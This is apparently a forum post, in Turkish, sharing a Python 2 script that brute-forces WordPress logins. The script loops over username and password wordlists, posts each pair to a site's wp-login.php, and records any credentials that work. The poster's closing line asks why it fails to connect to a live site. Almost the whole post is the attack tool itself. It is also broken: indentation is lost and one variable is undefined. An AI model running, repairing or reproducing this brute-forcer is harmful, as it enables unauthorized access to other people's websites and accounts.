Kod:
# -*- coding: UTF-8 -*-
import requests
def wpbrute():
url = raw_input("enter url: ")
nick = raw_input("enter nick folder: ")
pas = raw_input("enter password folder: ")
url_tag = url + "wp-login.php"
a = open(nick,'r')
x = a.readlines()
b = open(pas, 'r')
z = b.readlines()
for i in x:
username = i.replace("\n", "")
for c in z:
sifre = c.replace("\n", "")
payload = {'log': username, 'pwd': sifre}
r = requests.get(url_tag, timeout=4)
if r.status_code == 200 and "pwd" in r.text:
r = requests.post(url_tag, data=payload)
if "Log Out" in r.text or "Log out" in r.text:
print "Access! \n login succesfull..."
print username +" : "+sifre
accesses.write("\n" + url_tag + "\n" + username + " " + sifre)
else:
print "nope"
break
else:
print "Connection error..."
wpbrute()
site aktif olduğu halde bağlanmıyor.
Son düzenleme: